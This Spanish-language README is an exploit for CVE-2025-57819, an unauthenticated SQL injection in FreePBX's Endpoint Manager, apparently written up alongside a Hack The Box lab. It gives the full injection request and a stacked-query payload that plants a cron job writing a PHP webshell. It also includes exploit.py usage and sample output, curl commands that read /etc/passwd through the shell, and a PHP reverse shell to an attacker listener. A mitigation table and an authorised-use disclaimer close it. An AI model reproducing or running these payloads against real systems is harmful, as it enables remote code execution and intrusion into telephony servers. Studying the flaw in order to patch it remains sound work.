
Inyección SQL no autenticada en FreePBX Endpoint Manager (CVE-2025-57819) que inyecta un webshell PHP programado con cron para ejecución remota de código.
FreePBX es la interfaz web de código abierto para Asterisk PBX, ampliamente implementada en entornos de telefonía empresarial. El módulo Endpoint Manager expone un manejador AJAX en /admin/ajax.php que acepta un parámetro brand y lo interpola directamente en una consulta SQL sin sanitización. Un atacante remoto no autenticado puede inyectar SQL arbitrario, insertar una fila en la tabla cron_jobs, y hacer que el demonio cron de FreePBX escriba un webshell PHP ejecutable en la raíz web — logrando ejecución remota de código no autenticada en aproximadamente un minuto.
| Campo | Valor |
|---|
| ID CVE | CVE-2025-57819 |
| Puntuación CVSS | 9.8 (Crítico) |
| Vector CVSS | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H |
| CWE | CWE-89 — Neutralización incorrecta de elementos especiales utilizados en un comando SQL |
| Componente | Módulo Endpoint Manager de FreePBX |
| Afectado | FreePBX 17.x (sin parche) |
| Parcheado | FreePBX 17.x (parcheado) |
| Vector de Ataque | Red — No se Requiere Autenticación |
La solicitud vulnerable apunta al manejador de comandos AJAX del Endpoint Manager:
GET /admin/ajax.php?module=FreePBX%5Cmodules%5Cendpoint%5Cajax&command=model&template=x&model=model&brand=<PAYLOAD> HTTP/1.1
Host: <target>
El parámetro brand se concatena en una consulta SQL sin escape ni declaraciones preparadas. Un atacante cierra la cadena de la consulta y añade una segunda sentencia:
x' ;INSERT INTO cron_jobs
(modulename, jobname, command, class, schedule, max_runtime, enabled, execution_order)
VALUES
('sysadmin', 'webshell',
'echo "PD9waHAgc3lzdGVtKCRfR0VUW2NtZF0pOyA/Pg=="|base64 -d >/var/www/html/webshell.php',
NULL, '* * * * *', 30, 1, 1) --
La entrada cron inyectada se ejecuta cada minuto bajo el propietario del proceso web-servidor/Asterisk y escribe:
<?php system($_GET[cmd]); ?>
en /var/www/html/webshell.php, otorgando ejecución de comandos del SO no autenticada a través de HTTP.
El manejador AJAX del Endpoint Manager construye SQL dinámicamente usando formato de cadenas en lugar de consultas parametrizadas. El campo brand nunca se valida ni se escapa antes de ser incrustado en una sentencia SELECT, lo que lo hace trivialmente inyectable.
Atacante ──GET (inyección SQL)──▶ /admin/ajax.php ──INSERT──▶ tabla cron_jobs
│
demonio cron de FreePBX (≤60s) │
▼
Atacante ──GET ?cmd=id──────────▶ /webshell.php ◀── escrito ── ejecución de cron
pip install requests urllib3
-t, --target Dirección IP o nombre de host objetivo (requerido)
--timeout Segundos para esperar la disponibilidad del objetivo (por defecto: 30)
--delay Segundos para esperar que se ejecute la tarea cron (por defecto: 65)
1. Ejecute el exploit contra el objetivo:
# Basic — wait 65 s for the cron job to fire
python3 exploit.py -t <IP>
# Use hostname
python3 exploit.py -t connected.htb
# Extended cron wait on slow targets
python3 exploit.py -t <IP> --delay 90
2. Si se confirma el webshell, interáctúe con él directamente:
curl "http://<IP>/webshell.php?cmd=id"
curl "http://<IP>/webshell.php?cmd=cat+/etc/passwd"
3. Ascienda a una shell inversa a través del webshell:
Inicie un listener en su máquina:
nc -lvnp <LOCAL_PORT>
Luego active una shell inversa PHP a través del parámetro cmd (codificado en URL):
curl "http://<IP>/webshell.php?cmd=php+-r+%27%24sock%3Dfsockopen%28%22<LOCAL_IP>%22%2C<LOCAL_PORT>%29%3Bsystem%28%22%2Fbin%2Fbash+%3C%263+%3E%263+2%3E%263%22%29%3B%27"
El payload decodificado enviado como cmd es:
php -r '$sock=fsockopen("<LOCAL_IP>",<LOCAL_PORT>);system("/bin/bash <&3 >&3 2>&3");'
╔═══════════════════════════════════════════════════════════════════╗
║ FreePBX Endpoint Module · Inyección SQL → Webshell Cron ║
║ CVE-2025-57819 ║
╚═══════════════════════════════════════════════════════════════════╝
ID CVE : CVE-2025-57819
Componente : Módulo Endpoint de FreePBX
Afectado : 17.x sin parche → Parcheado: 17.x parcheado
Puntuación CVSS : 9.8 (Crítico)
Vector CVSS : CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE : CWE-89 — Inyección SQL
Tipo : Inyección SQL no autenticada → Webshell PHP programado en cron
Referencia : https://nvd.nist.gov/vuln/detail/CVE-2025-57819
14:03:11 [*] Probando objetivo <IP> (máx 30s) ...
14:03:12 [+] El objetivo está vivo — HTTP 200
14:03:12 [*] Punto de inyección : http://<IP>/admin/ajax.php
14:03:12 [!] Inyectando trabajo cron mediante inyección SQL ...
14:03:12 [+] Solicitud de inyección enviada
14:03:12 [*] Esperando 65s para que se ejecute el cron ...
14:04:17 [*] Probando webshell en http://<IP>/webshell.php?cmd=id ...
14:04:17 [+] Webshell está activo — salida del comando:
uid=997(asterisk) gid=993(asterisk) groups=993(asterisk)
14:04:17 [+] URL del webshell: http://<IP>/webshell.php?cmd=<comando>
14:04:17 [+] Rutina de explotación completada.
Nota de temporización. El valor predeterminado
--delayde 65 segundos asegura que el demonio cron (que se activa al inicio de cada minuto) haya tenido al menos una oportunidad de ejecutar el trabajo inyectado. En objetivos lentos, aumente a--delay 90o--delay 120.
| Prioridad | Acción |
|---|---|
| Crítico | Aplicar el parche del proveedor de FreePBX para CVE-2025-57819 inmediatamente |
| Crítico | Eliminar cualquier artefacto existente /var/www/html/webshell.php |
| Alta | Restringir el acceso a /admin/ajax.php a fuentes de red autenticadas y de confianza |
| Alta | Auditar y sanitizar todas las consultas SQL en Endpoint Manager — usar declaraciones preparadas |
| Media | Restringir la tabla cron_jobs: limitar qué roles pueden INSERTAR |
| Media | Aplicar una regla WAF que bloquee patrones de consultas apiladas en el endpoint AJAX |
| Baja | Ejecutar el proceso FreePBX/Asterisk bajo una cuenta con privilegios mínimos y sin acceso de escritura a la raíz web |
Este exploit se proporciona estrictamente con fines educativos y para pruebas de seguridad autorizadas. Úselo solo contra sistemas que posea o para los que tenga permiso explícito por escrito. El uso no autorizado es ilegal y poco ético.